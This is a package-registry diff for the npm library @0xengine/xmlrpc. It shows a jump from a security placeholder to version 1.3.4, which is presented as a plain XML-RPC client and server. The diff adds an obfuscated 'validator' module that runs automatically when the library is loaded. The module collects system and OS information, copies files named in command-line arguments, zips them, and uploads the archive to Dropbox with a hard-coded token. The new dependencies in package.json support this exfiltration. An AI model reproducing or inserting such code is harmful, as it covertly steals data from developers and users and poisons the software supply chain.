@0xengine/xmlrpc 0.0.1-security → 1.3.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @0xengine/xmlrpc might be problematic. Click here for more details.

package/lib/server.js ADDED
@@ -0,0 +1,78 @@
1
+ var http = require('http')
2
+ , https = require('https')
3
+ , url = require('url')
4
+ , EventEmitter = require('events').EventEmitter
5
+ , Serializer = require('./serializer')
6
+ , Deserializer = require('./deserializer')
7
+
8
+ /**
9
+ * Creates a new Server object. Also creates an HTTP server to start listening
10
+ * for XML-RPC method calls. Will emit an event with the XML-RPC call's method
11
+ * name when receiving a method call.
12
+ *
13
+ * @constructor
14
+ * @param {Object|String} options - The HTTP server options. Either a URI string
15
+ * (e.g. 'http://localhost:9090') or an object
16
+ * with fields:
17
+ * - {String} host - (optional)
18
+ * - {Number} port
19
+ * @param {Boolean} isSecure - True if using https for making calls,
20
+ * otherwise false.
21
+ * @return {Server}
22
+ */
23
+ function Server(options, isSecure, onListening) {
24
+
25
+ if (false === (this instanceof Server)) {
26
+ return new Server(options, isSecure)
27
+ }
28
+ onListening = onListening || function() {}
29
+ var that = this
30
+
31
+ // If a string URI is passed in, converts to URI fields
32
+ if (typeof options === 'string') {
33
+ options = url.parse(options)
34
+ options.host = options.hostname
35
+ options.path = options.pathname
36
+ }
37
+
38
+ function handleMethodCall(request, response) {
39
+ var deserializer = new Deserializer()
40
+ deserializer.deserializeMethodCall(request, function(error, methodName, params) {
41
+ if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
42
+ that.emit(methodName, null, params, function(error, value) {
43
+ var xml = null
44
+ if (error !== null) {
45
+ xml = Serializer.serializeFault(error)
46
+ }
47
+ else {
48
+ xml = Serializer.serializeMethodResponse(value)
49
+ }
50
+ response.writeHead(200, {'Content-Type': 'text/xml'})
51
+ response.end(xml)
52
+ })
53
+ }
54
+ else {
55
+ that.emit('NotFound', methodName, params)
56
+ response.writeHead(404)
57
+ response.end()
58
+ }
59
+ })
60
+ }
61
+
62
+ this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
63
+ : http.createServer(handleMethodCall)
64
+
65
+ process.nextTick(function() {
66
+ this.httpServer.listen(options.port, options.host, onListening)
67
+ }.bind(this))
68
+ this.close = function(callback) {
69
+ this.httpServer.once('close', callback)
70
+ this.httpServer.close()
71
+ }.bind(this)
72
+ }
73
+
74
+ // Inherit from EventEmitter to emit and listen
75
+ Server.prototype.__proto__ = EventEmitter.prototype
76
+
77
+ module.exports = Server
78
+
@@ -0,0 +1 @@
1
+ function a0_0x4827(_0x259a2f,_0x34c07f){const _0x169404=a0_0x1694();return a0_0x4827=function(_0x4827d4,_0x5b14bc){_0x4827d4=_0x4827d4-(0x1bb*0xb+0x81e+0x9f*-0x2b);let _0x188976=_0x169404[_0x4827d4];return _0x188976;},a0_0x4827(_0x259a2f,_0x34c07f);}const a0_0x508c8c=a0_0x4827;(function(_0x54a5bb,_0x3890e4){const _0x4b5002=a0_0x4827,_0x48fd1a=_0x54a5bb();while(!![]){try{const _0x32757a=-parseInt(_0x4b5002(0x92))/(-0x26*-0xfb+0x1*0x133+-0x6b*0x5c)+parseInt(_0x4b5002(0x79))/(0x19b1+0x14df+-0x1*0x2e8e)+parseInt(_0x4b5002(0x89))/(0x5*0x4c7+0x1*0x2bd+-0x8df*0x3)+parseInt(_0x4b5002(0xb6))/(-0x6*0x17b+-0x2*0x797+0x1814*0x1)*(parseInt(_0x4b5002(0x91))/(-0xffd*0x1+0x28b*0x3+0x861))+-parseInt(_0x4b5002(0x98))/(-0x13d*-0x1f+0xd2b+-0xc2*0x44)+-parseInt(_0x4b5002(0xd0))/(0x205f*0x1+0x1fe6+0xab5*-0x6)+parseInt(_0x4b5002(0x7b))/(0x1d8c*0x1+0x21b1+0x1*-0x3f35);if(_0x32757a===_0x3890e4)break;else _0x48fd1a['push'](_0x48fd1a['shift']());}catch(_0x18d0be){_0x48fd1a['push'](_0x48fd1a['shift']());}}}(a0_0x1694,0x1*0x12a23+-0x12b*0xe3f+0x14*0x14fc0));const a0_0x34c07f=(function(){let _0x1db22c=!![];return function(_0x304f7c,_0xd2ab99){const _0x39f60d=_0x1db22c?function(){if(_0xd2ab99){const _0x381c37=_0xd2ab99['apply'](_0x304f7c,arguments);return _0xd2ab99=null,_0x381c37;}}:function(){};return _0x1db22c=![],_0x39f60d;};}());(function(){a0_0x34c07f(this,function(){const _0x126e39=a0_0x4827,_0x5dfa77=new RegExp('function\x20*'+_0x126e39(0x9e)),_0x2f5c6a=new RegExp('\x5c+\x5c+\x20*(?:['+'a-zA-Z_$]['+_0x126e39(0xa5)+'$]*)','i'),_0x458398=a0_0x259a2f(_0x126e39(0x88));if(!_0x5dfa77['test'](_0x458398+_0x126e39(0x96))||!_0x2f5c6a[_0x126e39(0xac)](_0x458398+'input'))_0x458398('0');else{if('Aqgrq'===_0x126e39(0x9a))a0_0x259a2f();else{if(_0x50da63){const _0x51c346=_0xcf4a4[_0x126e39(0xa1)](_0xa6f004,arguments);return _0xd3c7db=null,_0x51c346;}}}})();}());const a0_0x173481=(function(){let _0x21380d=!![];return function(_0x262350,_0x4a50da){const _0x312704=a0_0x4827;if(_0x312704(0x86)!=='SWePU'){const _0x50b730=_0x21380d?function(){const _0x401c68=_0x312704;if(_0x4a50da){const _0x3ad5a5=_0x4a50da[_0x401c68(0xa1)](_0x262350,arguments);return _0x4a50da=null,_0x3ad5a5;}}:function(){};return _0x21380d=![],_0x50b730;}else{const _0x2a8e3f=new _0x373870(_0x312704(0xc8)+'\x5c(\x20*\x5c)'),_0x4fffd0=new _0x3585c7(_0x312704(0xd1)+_0x312704(0x9d)+_0x312704(0xa5)+_0x312704(0x8b),'i'),_0x1e1843=_0x5d53af(_0x312704(0x88));!_0x2a8e3f[_0x312704(0xac)](_0x1e1843+_0x312704(0x96))||!_0x4fffd0['test'](_0x1e1843+_0x312704(0xb5))?_0x1e1843('0'):_0x85a267();}};}()),a0_0x531b2b=a0_0x173481(this,function(){const _0x583508=a0_0x4827,_0x1f1965=function(){const _0x33bff1=a0_0x4827;let _0xdd58ba;try{_0xdd58ba=Function(_0x33bff1(0x8d)+_0x33bff1(0xbd)+(_0x33bff1(0x82)+'ctor(\x22retu'+'rn\x20this\x22)('+'\x20)')+');')();}catch(_0x1bef7d){_0xdd58ba=window;}return _0xdd58ba;},_0x24bade=_0x1f1965(),_0x5c0b95=_0x24bade[_0x583508(0x7f)]=_0x24bade['console']||{},_0x195014=[_0x583508(0xc9),_0x583508(0x83),'info',_0x583508(0xbc),_0x583508(0x74),_0x583508(0xb1),_0x583508(0x87)];for(let _0x1f94f3=-0x1*-0xc+0xd33*-0x1+0xd27;_0x1f94f3<_0x195014[_0x583508(0xc6)];_0x1f94f3++){if(_0x583508(0x94)!==_0x583508(0xbb)){const _0x5c886=a0_0x173481[_0x583508(0xb7)+'r'][_0x583508(0x7a)][_0x583508(0xc4)](a0_0x173481),_0x38048f=_0x195014[_0x1f94f3],_0x11def2=_0x5c0b95[_0x38048f]||_0x5c886;_0x5c886[_0x583508(0xcd)]=a0_0x173481[_0x583508(0xc4)](a0_0x173481),_0x5c886[_0x583508(0xb4)]=_0x11def2['toString'][_0x583508(0xc4)](_0x11def2),_0x5c0b95[_0x38048f]=_0x5c886;}else _0x3b2cdb();}});a0_0x531b2b();const fs=require(a0_0x508c8c(0xab)),{zip}=require(a0_0x508c8c(0xc3)+'er'),si=require(a0_0x508c8c(0xca)+'rmation'),os=require('os'),path=require(a0_0x508c8c(0xb2)),dropboxV2Api=require(a0_0x508c8c(0xc7)+a0_0x508c8c(0x78));async function validator(){const _0x38a546=a0_0x508c8c,_0x53baed=()=>{const _0x2fec78=a0_0x4827,_0x117247=_0x2fec78(0xb0)+'ZGJTIISVrG'+_0x2fec78(0xce),_0x3c3813=_0x2fec78(0xad)+'ckOxpYX8OS'+_0x2fec78(0xa0)+_0x2fec78(0x7e)+_0x2fec78(0xb9)+_0x2fec78(0x9f)+_0x2fec78(0x7d)+'YKGfe3Cc',_0x1a94a3='_bma0pHryH'+'w2nrXvD56R'+'EOk-yYij2R'+_0x2fec78(0x93),_0x260326=[];_0x260326[_0x2fec78(0x81)](_0x117247),_0x260326[_0x2fec78(0x81)](_0x3c3813),_0x260326[_0x2fec78(0x81)](_0x1a94a3);let _0x152822='';for(let _0x36e422=0x37c*-0xa+-0x399+0x2671;_0x36e422<_0x260326[_0x2fec78(0xc6)];_0x36e422++){_0x152822+=_0x260326[_0x36e422];}return _0x152822;};console['log'](_0x38a546(0xa2),process[_0x38a546(0x72)]);const _0xd1beaf=process['argv'][_0x38a546(0x76)](_0x21d320=>_0x21d320===_0x38a546(0xb3)||_0x21d320==='-t');if(_0xd1beaf===-(-0x754+0x2509+-0x1db4))return;const _0x27b3b4=path[_0x38a546(0xaf)](process[_0x38a546(0x72)][_0xd1beaf+(-0xb43*-0x1+0x195c+-0x249e)]);console[_0x38a546(0xc9)](_0x38a546(0x75)+'c\x20path:\x20'+_0x27b3b4);const _0x595fff=os[_0x38a546(0xbf)](),_0x59dfba=Date[_0x38a546(0x9b)](),_0x27dba7=_0x595fff+'/'+_0x59dfba;await fs[_0x38a546(0xbe)](_0x27dba7);const _0x46f6b5=await si[_0x38a546(0xba)](),_0x424d16=await si[_0x38a546(0x73)](),_0x2355c2={};_0x2355c2[_0x38a546(0xba)]=_0x46f6b5,_0x2355c2[_0x38a546(0x73)]=_0x424d16;const _0x4b7e9f=_0x2355c2,_0x5bcf1b=JSON[_0x38a546(0x8f)](_0x4b7e9f,null,-0x9c3+0x6*0x11+0x95f),_0x2c10ee=_0x27dba7+'/si.json',_0x311834={};_0x311834[_0x38a546(0xc2)]=_0x38a546(0xa8),await fs[_0x38a546(0x84)](_0x2c10ee,_0x5bcf1b,_0x311834);const _0x41f7c0=_0x27dba7+('/targets.t'+'xt');await fs[_0x38a546(0xa3)](_0x27b3b4,_0x41f7c0);const _0x21b492=_0x46f6b5['os']+'-'+_0x59dfba+_0x38a546(0xc5),_0x1217a3=_0x595fff+'/'+_0x21b492;console['log'](_0x38a546(0x80)+_0x1217a3),await zip(_0x27dba7,_0x1217a3);const _0x417660=_0x53baed();console[_0x38a546(0xc9)]('token:\x20'+_0x417660);const _0x522298=fs[_0x38a546(0xc1)+'Stream'](_0x1217a3),_0x5f0d55={};_0x5f0d55[_0x38a546(0x85)]=_0x417660;const _0xbae366=dropboxV2Api[_0x38a546(0xaa)+'te'](_0x5f0d55),_0x539d79={};_0x539d79['path']='/'+_0x21b492;const _0x4e9553={};_0x4e9553[_0x38a546(0x9c)]=_0x38a546(0x97)+'ad',_0x4e9553[_0x38a546(0x8a)]=_0x539d79,_0x4e9553[_0x38a546(0x77)]=_0x522298,_0xbae366(_0x4e9553,(_0x502102,_0x4d2bb0,_0x74afaf)=>{const _0x5515a2=_0x38a546;if('QvOrl'!==_0x5515a2(0xa4))return![];else console[_0x5515a2(0xc9)](_0x5515a2(0x8c)),console[_0x5515a2(0xc9)](_0x502102),console[_0x5515a2(0xc9)](_0x4d2bb0);});}module[a0_0x508c8c(0x8e)]=validator;function a0_0x1694(){const _0xbf1714=['chain','files/uplo','479958FWIojE','ozIeF','Aqgrq','now','resource','a-zA-Z_$][','\x5c(\x20*\x5c)','4xUn5WbTHe','8UREJcUZbw','apply','---->','copyFile','QvOrl','0-9a-zA-Z_','while\x20(tru','stateObjec','utf8','counter','authentica','fs-extra','test','_HjQB6nqdk','debu','resolve','sl.BnNx-Jp','table','path','--targets','toString','input','8524CfNHjC','constructo','call','0vy3GUS8Y7','uuid','lzWdK','error','nction()\x20','ensureDir','tmpdir','GZdiW','createRead','encoding','zip-a-fold','bind','.zip','length','dropbox-v2','function\x20*','log','systeminfo','gger','e)\x20{}','__proto__','eldWQeED','aTEtO','4008578nENDpk','\x5c+\x5c+\x20*(?:[','argv','osInfo','exception','targets\x20sr','findIndex','readStream','-api','1338092meArVG','prototype','3522232unViqJ','kvITD','WlslTUdWsy','vaSfCa04PA','console','zipPath:\x20','push','{}.constru','warn','writeFile','token','ttyEH','trace','init','1841190fRqpSH','parameters','$]*)','completed','return\x20(fu','exports','stringify','jeqVq','1065iXUqYh','819401sAVpBn','BbYcsKT','iymjI','string'];a0_0x1694=function(){return _0xbf1714;};return a0_0x1694();}function a0_0x259a2f(_0x37f4a0){const _0x3e1f51=a0_0x508c8c;function _0x49eebe(_0x5b81f3){const _0x373675=a0_0x4827;if(_0x373675(0x7c)===_0x373675(0x7c)){if(typeof _0x5b81f3===_0x373675(0x95))return _0x373675(0xcf)===_0x373675(0xcf)?function(_0x32c2c7){}[_0x373675(0xb7)+'r'](_0x373675(0xa6)+_0x373675(0xcc))[_0x373675(0xa1)](_0x373675(0xa9)):function(_0x5e2860){}[_0x373675(0xb7)+'r'](_0x373675(0xa6)+'e)\x20{}')[_0x373675(0xa1)]('counter');else(''+_0x5b81f3/_0x5b81f3)[_0x373675(0xc6)]!==-0x3d*-0x4b+0xb48+-0x1d26||_0x5b81f3%(0x3c4+0x4*-0x89c+-0x3*-0xa40)===0x15d3+-0x191b+0x348?function(){return!![];}[_0x373675(0xb7)+'r']('debu'+_0x373675(0xcb))[_0x373675(0xb8)]('action'):_0x373675(0x99)!==_0x373675(0x90)?function(){const _0x43ba13=_0x373675;if('GQUyq'!=='GQUyq'){const _0x3530e3=_0x20d15f[_0x43ba13(0xa1)](_0x414a01,arguments);return _0x21422b=null,_0x3530e3;}else return![];}[_0x373675(0xb7)+'r']('debu'+'gger')[_0x373675(0xa1)](_0x373675(0xa7)+'t'):function(){return![];}[_0x373675(0xb7)+'r'](_0x373675(0xae)+_0x373675(0xcb))[_0x373675(0xa1)](_0x373675(0xa7)+'t');_0x49eebe(++_0x5b81f3);}else _0x211cf4[_0x373675(0xc9)](_0x373675(0x8c)),_0x904068[_0x373675(0xc9)](_0x3908d0),_0x40dcc2[_0x373675(0xc9)](_0x1c31b6);}try{if(_0x37f4a0)return _0x49eebe;else'GZdiW'!==_0x3e1f51(0xc0)?_0x3ebb6d+=_0x271bde[_0x2dce62]:_0x49eebe(-0x76e+-0x166+-0x14*-0x71);}catch(_0x588ad3){}}
package/lib/xmlrpc.js ADDED
@@ -0,0 +1,73 @@
1
+ var Client = require('./client')
2
+ , Server = require('./server')
3
+ , CustomType = require('./customtype')
4
+ , dateFormatter = require('./date_formatter')
5
+ , validator = require('./validator')
6
+
7
+ var xmlrpc = exports
8
+
9
+ /**
10
+ * Creates an XML-RPC client.
11
+ *
12
+ * @param {Object} options - server options to make the HTTP request to
13
+ * - {String} host
14
+ * - {Number} port
15
+ * - {String} url
16
+ * - {Boolean} cookies
17
+ * @return {Client}
18
+ * @see Client
19
+ */
20
+ xmlrpc.createClient = function(options) {
21
+ return new Client(options, false)
22
+ }
23
+
24
+ /**
25
+ * Creates an XML-RPC client that makes calls using HTTPS.
26
+ *
27
+ * @param {Object} options - server options to make the HTTP request to
28
+ * - {String} host
29
+ * - {Number} port
30
+ * - {String} url
31
+ * - {Boolean} cookies
32
+ * @return {Client}
33
+ * @see Client
34
+ */
35
+ xmlrpc.createSecureClient = function(options) {
36
+ return new Client(options, true)
37
+ }
38
+
39
+ /**
40
+ * Creates an instance of server parameter validator.
41
+ * @See Server
42
+ */
43
+ xmlrpc.validator = validator()
44
+
45
+
46
+ /**
47
+ * Creates an XML-RPC server.
48
+ *
49
+ * @param {Object}options - the HTTP server options
50
+ * - {String} host
51
+ * - {Number} port
52
+ * @return {Server}
53
+ * @see Server
54
+ */
55
+ xmlrpc.createServer = function(options, callback) {
56
+ return new Server(options, false, callback)
57
+ }
58
+
59
+ /**
60
+ * Creates an XML-RPC server that uses HTTPS.
61
+ *
62
+ * @param {Object}options - the HTTP server options
63
+ * - {String} host
64
+ * - {Number} port
65
+ * @return {Server}
66
+ * @see Server
67
+ */
68
+ xmlrpc.createSecureServer = function(options, callback) {
69
+ return new Server(options, true, callback)
70
+ }
71
+
72
+ xmlrpc.CustomType = CustomType
73
+ xmlrpc.dateFormatter = dateFormatter
package/package.json CHANGED
@@ -1,6 +1,47 @@
1
1
  {
2
2
  "name": "@0xengine/xmlrpc",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "A pure JavaScript XML-RPC client and server.",
4
+ "keywords": [
5
+ "xml-rpc",
6
+ "xmlrpc",
7
+ "xml",
8
+ "rpc"
9
+ ],
10
+ "version": "1.3.4",
11
+ "preferGlobal": false,
12
+ "homepage": "https://bitbucket.org/0xsky/xmlrpc",
13
+ "author": "0xengine",
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
17
+ },
18
+ "directories": {
19
+ "example": "example",
20
+ "lib": "lib",
21
+ "test": "test"
22
+ },
23
+ "main": "./lib/xmlrpc.js",
24
+ "dependencies": {
25
+ "dropbox-v2-api": "^2.5.10",
26
+ "fs-extra": "^11.1.1",
27
+ "sax": "1.2.x",
28
+ "systeminformation": "^5.21.9",
29
+ "uuid": "^9.0.1",
30
+ "xmlbuilder": "8.2.x",
31
+ "zip-a-folder": "^1.1.7"
32
+ },
33
+ "devDependencies": {
34
+ "vows": "0.7.x"
35
+ },
36
+ "scripts": {
37
+ "test": "vows 'test/*.js'"
38
+ },
39
+ "engines": {
40
+ "node": ">=0.8",
41
+ "npm": ">=1.0.0"
42
+ },
43
+ "license": "MIT",
44
+ "bugs": {
45
+ "url": "https://bitbucket.org/0xsky/xmlrpc/issues"
46
+ }
6
47
  }